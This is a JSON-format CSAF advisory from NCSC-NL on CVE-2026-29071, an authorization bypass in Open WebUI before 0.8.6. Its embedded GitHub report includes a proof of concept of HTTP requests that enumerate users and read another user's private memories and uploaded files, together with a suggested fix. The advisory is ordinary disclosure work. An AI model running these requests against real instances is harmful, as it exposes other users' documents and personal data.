{ "document": { "category": "csaf_base", "csaf_version": "2.0", "distribution": { "tlp": { "label": "WHITE" } }, "lang": "en", "notes": [ { "category": "legal_disclaimer", "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings." } ], "publisher": { "category": "coordinator", "contact_details": "cert@ncsc.nl", "name": "National Cyber Security Centre", "namespace": "https://www.ncsc.nl/" }, "title": "CVE-2026-29071", "tracking": { "current_release_date": "2026-04-01T18:27:51.609160Z", "generator": { "date": "2026-02-17T15:00:00Z", "engine": { "name": "V.E.L.M.A", "version": "1.7" } }, "id": "CVE-2026-29071", "initial_release_date": "2026-03-27T00:25:59.314004Z", "revision_history": [ { "date": "2026-03-27T00:25:59.314004Z", "number": "1", "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (1).| CWES updated (1)." }, { "date": "2026-03-27T00:26:07.639195Z", "number": "2", "summary": "NCSC Score created." }, { "date": "2026-03-27T00:38:44.008330Z", "number": "3", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (1).| CWES updated (1)." }, { "date": "2026-03-27T00:38:47.287717Z", "number": "4", "summary": "NCSC Score updated." }, { "date": "2026-03-27T07:36:00.895830Z", "number": "5", "summary": "NCSC Score updated." }, { "date": "2026-03-27T21:03:42.074301Z", "number": "6", "summary": "Source connected.| CVE status created. (valid)| EPSS created." }, { "date": "2026-03-27T21:03:51.163886Z", "number": "7", "summary": "NCSC Score updated." }, { "date": "2026-03-27T21:26:30.544647Z", "number": "8", "summary": "Unknown change." }, { "date": "2026-03-28T07:41:33.430703Z", "number": "9", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)." }, { "date": "2026-03-28T07:41:34.782313Z", "number": "10", "summary": "NCSC Score updated." }, { "date": "2026-04-01T07:40:35.872278Z", "number": "11", "summary": "Source connected.| CVE status created. (valid)| Description created for source.| Products connected (1)." }, { "date": "2026-04-01T07:40:40.551052Z", "number": "12", "summary": "NCSC Score updated." }, { "date": "2026-04-01T18:27:49.083978Z", "number": "13", "summary": "Products connected (1).| Product Identifiers created (1).| Exploits created (1)." }, { "date": "2026-04-01T18:27:50.653680Z", "number": "14", "summary": "NCSC Score updated." } ], "status": "interim", "version": "14" } }, "product_tree": { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<0.8.6", "product": { "name": "vers:unknown/<0.8.6", "product_id": "CSAFPID-5920657" } } ], "category": "product_name", "name": "open-webui" } ], "category": "vendor", "name": "open-webui" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<0.8.6", "product": { "name": "vers:unknown/<0.8.6", "product_id": "CSAFPID-5970944" } } ], "category": "product_name", "name": "open-webui" } ], "category": "vendor", "name": "unknown" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<0.8.6", "product": { "name": "vers:unknown/<0.8.6", "product_id": "CSAFPID-5965493", "product_identification_helper": { "cpe": "cpe:2.3:a:openwebui:open_webui:*:*:*:*:*:*:*:*" } } } ], "category": "product_name", "name": "open_webui" } ], "category": "vendor", "name": "openwebui" } ] }, "vulnerabilities": [ { "cve": "CVE-2026-29071", "cwe": { "id": "CWE-639", "name": "Authorization Bypass Through User-Controlled Key" }, "notes": [ { "category": "description", "text": "Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to version 0.8.6, any authenticated user can read other users' private memories via `/api/v1/retrieval/query/collection`. Version 0.8.6 patches the issue.", "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-29071" }, { "category": "description", "text": "Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to version 0.8.6, any authenticated user can read other users' private memories via `/api/v1/retrieval/query/collection`. Version 0.8.6 patches the issue.", "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/29xxx/CVE-2026-29071.json" }, { "category": "description", "text": "### Summary\nAny authenticated user can read other users' private memories via `/api/v1/retrieval/query/collection`\n\n### Details\n**Vulnerability 1: Missing authorization in collection querying**\n\nIn `backend/open_webui/routers/retrieval.py`, the `query_collection_handler` function accepts a list of `collection_names` but performs no ownership validation:\n\n```python\nasync def query_collection_handler(\n request: Request,\n form_data: QueryCollectionsForm,\n user=Depends(get_verified_user), # Only checks authentication, not authorization\n):\n```\n\nCollection names follow predictable patterns:\n- User files: `file-{FILE_UUID}`\n- User memories: `user-memory-{USER_UUID}` (requires Memory experimental feature)\n\n### PoC\n**Environment:** Open WebUI v0.8.3, default configuration.\n**Setup:**\n1. Register two users: admin (first user) and attacker (second user).\n2. As admin, upload a PDF document through chat.\n3. As admin, enable Memory (Settings → Personalization → Memory) and add some memories.\n\n**Exploitation — Step 1: Enumerate all users**\n\n```\nGET /api/v1/users/search HTTP/1.1\nHost: \nAuthorization: Bearer \n```\n\nResponse reveals all users including admin's UUID, email, and role:\n\n```json\n{\n \"users\": [\n {\n \"id\": \"1e4756eb-b064-4781-8b06-4979bca59c8b\",\n \"name\": \"user\",\n \"email\": \"user@test.com\",\n \"role\": \"user\"\n },\n {\n \"id\": \"81d2f94a-3dfb-479c-af98-e29f0f40c4ba\",\n \"name\": \"admin\",\n \"email\": \"admin@test.com\",\n \"role\": \"admin\"\n }\n ]\n}\n```\n\n\"1poc\n\n**Exploitation — Step 2: Read admin's memories**\n\nUsing the admin UUID obtained in Step 1, query their private memory collection:\n\n```\nPOST /api/v1/retrieval/query/collection HTTP/1.1\nHost: \nAuthorization: Bearer \nContent-Type: application/json\n\n{\n \"collection_names\": [\"user-memory-\"],\n \"query\": \"test\"\n}\n```\n\nResponse returns admin's private memories:\n\n```json\n{\n \"documents\": [[\"User is testing IDOR\", \"User - Mariusz, security researcher\"]]\n}\n```\n\n\"2poc\n\n**Note:** Step 2 requires the Memory experimental feature to be enabled. Steps 1 and 3 work on default configuration.\n\n**Exploitation — Step 3: Read admin's private file (Vulnerability 1)**\n\nFile collections use the pattern `file-{FILE_UUID}`. The file UUID must be obtained separately. Once known:\n\n```\nPOST /api/v1/retrieval/query/collection HTTP/1.1\nHost: \nAuthorization: Bearer \nContent-Type: application/json\n\n{\n \"collection_names\": [\"file-\"],\n \"query\": \"test\"\n}\n```\n\nResponse returns admin's private document content and full metadata:\n\n```json\n{\n \"documents\": [[\"Test PDF \\nabc \\nbcd\"]],\n \"metadatas\": [[{\n \"name\": \"Test PDF.pdf\",\n \"author\": \"Mariusz Maik\",\n \"created_by\": \"81d2f94a-3dfb-479c-af98-e29f0f40c4ba\",\n \"file_id\": \"243bee10-49ad-466f-884b-67b6b3d74968\"\n }]]\n}\n```\n\n\"image\"\n\n### Impact\n- **Document theft:** Any authenticated user can read the full content and metadata of files uploaded by any other user, including admins.\n- **User enumeration:** All user UUIDs, emails, names, and roles are exposed to any authenticated user via `/api/v1/users/search`.\n- **Memory leakage:** When the Memory experimental feature is enabled, personal memories stored by users for LLM personalization can be read by any other user — directly contradicting the official documentation.\n- **No admin privileges required:** A regular user account is sufficient to exploit all of the above.\n\n### Suggested Fix\n\n**1. Add ownership validation in `/api/v1/retrieval/query/collection`:**\n\n```python\nasync def query_collection_handler(\n request: Request,\n form_data: QueryCollectionsForm,\n user=Depends(get_verified_user),\n):\n for collection_name in form_data.collection_names:\n if collection_name.startswith(\"user-memory-\"):\n owner_id = collection_name.replace(\"user-memory-\", \"\")\n if owner_id != user.id and user.role != \"admin\":\n raise HTTPException(status_code=403, detail=\"Access denied\")\n elif collection_name.startswith(\"file-\"):\n file_id = collection_name.replace(\"file-\", \"\")\n # user_has_access_to_file — placeholder; verify file ownership\n # e.g. check if created_by matches user.id\n if not user_has_access_to_file(user.id, file_id):\n raise HTTPException(status_code=403, detail=\"Access denied\")\n```\n\n**2. Restrict `/api/v1/users/search`** to admin-only or limit the fields returned to non-privileged users.\n\n### Disclosure\n\nAI was used to assist with writing this report. The vulnerability was identified and confirmed through hands-on testing on Open WebUI v0.8.3. All screenshots are from real testing.", "title": "github - https://api.github.com/advisories/GHSA-w9f8-gxf9-rhvw" }, { "category": "description", "text": "Affected versions of the open-webui package are vulnerable to Improper Authorization due to missing ownership validation on user-supplied collection identifiers. In backend/open_webui/routers/retrieval.py, the query_collection_handler function behind the /api/v1/retrieval/query/collection endpoint accepts collection_names such as user-memory-{USER_UUID} and file-{FILE_UUID} but only verifies that the requester is authenticated, not that they own or are allowed to access the referenced collection.", "title": "pyupio - https://raw.githubusercontent.com/pyupio/safety-db/refs/heads/master/data/insecure_full.json" }, { "category": "other", "text": "0.00025", "title": "EPSS" }, { "category": "other", "text": "3.1", "title": "NCSC Score" }, { "category": "other", "text": "Is related to (a version of) an uncommon product, There is exploit data available from source Nvd, The value of the most recent CVSS (V3) score, Is related to a product by vendor Unknown", "title": "NCSC Score top decreasing factors" } ], "product_status": { "known_affected": [ "CSAFPID-5920657", "CSAFPID-5970944", "CSAFPID-5965493" ] }, "references": [ { "category": "external", "summary": "Source - nvd", "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-29071" }, { "category": "external", "summary": "Source - cveprojectv5", "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/29xxx/CVE-2026-29071.json" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0" }, { "category": "external", "summary": "Source - github", "url": "https://api.github.com/advisories/GHSA-w9f8-gxf9-rhvw" }, { "category": "external", "summary": "Source - pyupio", "url": "https://raw.githubusercontent.com/pyupio/safety-db/refs/heads/master/data/insecure_full.json" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd", "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-w9f8-gxf9-rhvw" }, { "category": "external", "summary": "Reference - github", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29071" }, { "category": "external", "summary": "Reference - github", "url": "https://github.com/advisories/GHSA-w9f8-gxf9-rhvw" } ], "scores": [ { "cvss_v3": { "version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.1, "baseSeverity": "LOW" }, "products": [ "CSAFPID-5920657", "CSAFPID-5965493", "CSAFPID-5970944" ] } ], "title": "CVE-2026-29071" } ] }